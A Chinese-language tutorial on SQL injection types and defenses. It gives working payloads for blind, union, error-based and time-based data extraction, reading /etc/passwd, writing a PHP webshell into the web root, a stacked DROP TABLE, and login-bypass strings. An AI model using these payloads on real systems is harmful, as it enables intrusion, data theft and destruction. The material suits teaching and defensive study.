从0到1,SQL注入(sql十大注入类型)收藏这一篇就够了,技术解析与实战演练
字数 1607 2025-08-19 12:40:55

SQL注入攻击全面解析与防御指南

一、SQL注入概述

SQL注入是一种常见的网络攻击方式,攻击者利用程序员编写时的疏忽,通过构造特殊的SQL语句,实现无账号登录、篡改数据库甚至获取服务器权限。

MySQL基础知识

  • information_schema数据库:MySQL 5.0后默认添加,包含三个重要表:

    • schemata:存储所有数据库的库名
    • tables:存储所有数据表的表名
    • columns:存储所有列的列名
  • 常用MySQL函数

    • version():查询数据库版本
    • user():查询数据库使用者
    • database():当前数据库名
    • load_file():读取本地文件
    • @@datadir:数据库路径
    • ascii(str):返回字符的ASCII值
    • substr(string,start,length):截取字符串
    • concat():连接字符串
    • group_concat():将所有数据用逗号连接

二、SQL注入检测方法

  1. 基本检测

    • 添加单引号'、双引号"、括号)等看是否报错
    • 在URL后加and 1=1and 1=2看页面显示是否不同
  2. 时间盲注检测

    and if(1=1,sleep(5),0)
    

    通过页面响应时间判断注入是否成功

  3. 常见注入点

    • 登录页面
    • 获取HTTP头(user-agent/client-ip等)的功能点
    • 订单处理等与数据库交互的地方

三、SQL注入分类与技术详解

1. 布尔盲注

条件:页面仅返回True或False,无直接数据回显

常用函数ascii()substr()length()exists()concat()

手工注入步骤

  1. 判断数据库类型:

    and exists(select * from information_schema.tables)  # MySQL
    and exists(select * from msysobjects)  # Access
    and exists(select * from sysobjects)  # SQLServer
    
  2. 判断当前数据库名长度:

    and length(database())>5
    
  3. 逐字符判断数据库名:

    and ascii(substr(database(),1,1))>100
    
  4. 判断表名:

    and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
    
  5. 判断字段名:

    and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
    
  6. 获取数据:

    and ascii(substr((select username from users limit 0,1),1,1))>100
    

2. Union联合查询注入

条件:页面有数据回显,且两个表的列数相同、数据类型相似

步骤

  1. 判断列数:

    order by 4--  # 报错则说明列数小于4
    
  2. 确定回显位:

    union select 1,2,3-- 
    
  3. 获取信息:

    union select 1,version(),database()-- 
    union select 1,group_concat(schema_name),3 from information_schema.schemata-- 
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- 
    union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'-- 
    union select 1,group_concat(id,'--',username,'--',password),3 from users-- 
    

3. 文件读写注入

文件读取

union select 1,2,load_file("/etc/passwd")-- 

文件写入

union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'-- 

权限问题解决
修改MySQL配置文件my.cnf

secure_file_priv = ""

然后重启MySQL服务

4. 报错注入

常用函数updatexml()extractvalue()floor()

updatexml示例

and updatexml(1,concat(0x7e,(select database()),0x7e),3)

获取数据步骤

  1. 获取所有数据库:
    and updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)),3)
    
  2. 获取表名:
    and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3)
    
  3. 获取字段名:
    and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31)),3)
    

5. 时间盲注

检测

and if(1=1,sleep(5),0)

利用

and if(ascii(substr(database(),1,1))>100,sleep(5),0)

6. 宽字节注入

原理:利用GBK编码特性,使转义符\失效

示例

id=1%df' and 1=1-- 

7. 堆叠注入

原理:利用分号;执行多条SQL语句

示例

id=1';DROP TABLE users;-- 

8. 二次注入

原理:已存储的用户输入被读取后再次进入SQL查询

过程

  1. 注册用户名为admin'--
  2. 修改密码时SQL变为:
    UPDATE users SET PASSWORD='newpass' where username='admin'-- ' and password='$curr_pass'
    

9. User-Agent注入

检测
修改HTTP头中的User-Agent为:

' and extractvalue(1,concat(0x7e,database(),0x7e)) and '1'='1

10. Cookie注入

条件

  1. 程序对GET/POST过滤但未过滤Cookie
  2. 使用request("xxx")获取数据而未指定方法

11. 万能密码

原理:构造永真条件绕过验证

常见payload

' or '1'='1
' or 1=1-- 
admin'-- 
"or "a"="a
')or('a'='a

四、SQL注入防御措施

  1. 预编译语句(PreparedStatement)

    String sql = "select id, no from user where id=?";
    PreparedStatement ps = conn.prepareStatement(sql);
    ps.setInt(1, id);
    ps.executeQuery();
    
  2. PDO预处理(PHP)

    $data = $db->prepare('SELECT first_name FROM users WHERE user_id = :id');
    $data->bindParam(':id', $id, PDO::PARAM_INT);
    $data->execute();
    
  3. 输入过滤

    • 使用正则表达式过滤特殊字符
    • 严格限定参数类型和格式
  4. 权限控制

    • Web应用数据库用户与系统管理员用户严格区分
    • 限制Web应用用户对数据库的操作权限
    • Web目录不允许有写权限
  5. 其他措施

    • 关闭错误回显
    • 使用Web应用防火墙(WAF)
    • 定期更新和修补系统

五、总结

SQL注入攻击形式多样,从简单的布尔盲注到复杂的二次注入,攻击者不断寻找新的利用方式。防御SQL注入需要从代码编写、数据库配置、服务器环境等多方面入手,采用预编译语句、输入过滤、最小权限原则等综合措施,才能有效保护系统安全。

SQL注入攻击全面解析与防御指南 一、SQL注入概述 SQL注入是一种常见的网络攻击方式,攻击者利用程序员编写时的疏忽,通过构造特殊的SQL语句,实现无账号登录、篡改数据库甚至获取服务器权限。 MySQL基础知识 information_ schema数据库 :MySQL 5.0后默认添加,包含三个重要表: schemata :存储所有数据库的库名 tables :存储所有数据表的表名 columns :存储所有列的列名 常用MySQL函数 : version() :查询数据库版本 user() :查询数据库使用者 database() :当前数据库名 load_file() :读取本地文件 @@datadir :数据库路径 ascii(str) :返回字符的ASCII值 substr(string,start,length) :截取字符串 concat() :连接字符串 group_concat() :将所有数据用逗号连接 二、SQL注入检测方法 基本检测 : 添加单引号 ' 、双引号 " 、括号 ) 等看是否报错 在URL后加 and 1=1 和 and 1=2 看页面显示是否不同 时间盲注检测 : 通过页面响应时间判断注入是否成功 常见注入点 : 登录页面 获取HTTP头(user-agent/client-ip等)的功能点 订单处理等与数据库交互的地方 三、SQL注入分类与技术详解 1. 布尔盲注 条件 :页面仅返回True或False,无直接数据回显 常用函数 : ascii() 、 substr() 、 length() 、 exists() 、 concat() 手工注入步骤 : 判断数据库类型: 判断当前数据库名长度: 逐字符判断数据库名: 判断表名: 判断字段名: 获取数据: 2. Union联合查询注入 条件 :页面有数据回显,且两个表的列数相同、数据类型相似 步骤 : 判断列数: 确定回显位: 获取信息: 3. 文件读写注入 文件读取 : 文件写入 : 权限问题解决 : 修改MySQL配置文件 my.cnf : 然后重启MySQL服务 4. 报错注入 常用函数 : updatexml() 、 extractvalue() 、 floor() updatexml示例 : 获取数据步骤 : 获取所有数据库: 获取表名: 获取字段名: 5. 时间盲注 检测 : 利用 : 6. 宽字节注入 原理 :利用GBK编码特性,使转义符 \ 失效 示例 : 7. 堆叠注入 原理 :利用分号 ; 执行多条SQL语句 示例 : 8. 二次注入 原理 :已存储的用户输入被读取后再次进入SQL查询 过程 : 注册用户名为 admin'-- 修改密码时SQL变为: 9. User-Agent注入 检测 : 修改HTTP头中的User-Agent为: 10. Cookie注入 条件 : 程序对GET/POST过滤但未过滤Cookie 使用 request("xxx") 获取数据而未指定方法 11. 万能密码 原理 :构造永真条件绕过验证 常见payload : 四、SQL注入防御措施 预编译语句(PreparedStatement) : PDO预处理(PHP) : 输入过滤 : 使用正则表达式过滤特殊字符 严格限定参数类型和格式 权限控制 : Web应用数据库用户与系统管理员用户严格区分 限制Web应用用户对数据库的操作权限 Web目录不允许有写权限 其他措施 : 关闭错误回显 使用Web应用防火墙(WAF) 定期更新和修补系统 五、总结 SQL注入攻击形式多样,从简单的布尔盲注到复杂的二次注入,攻击者不断寻找新的利用方式。防御SQL注入需要从代码编写、数据库配置、服务器环境等多方面入手,采用预编译语句、输入过滤、最小权限原则等综合措施,才能有效保护系统安全。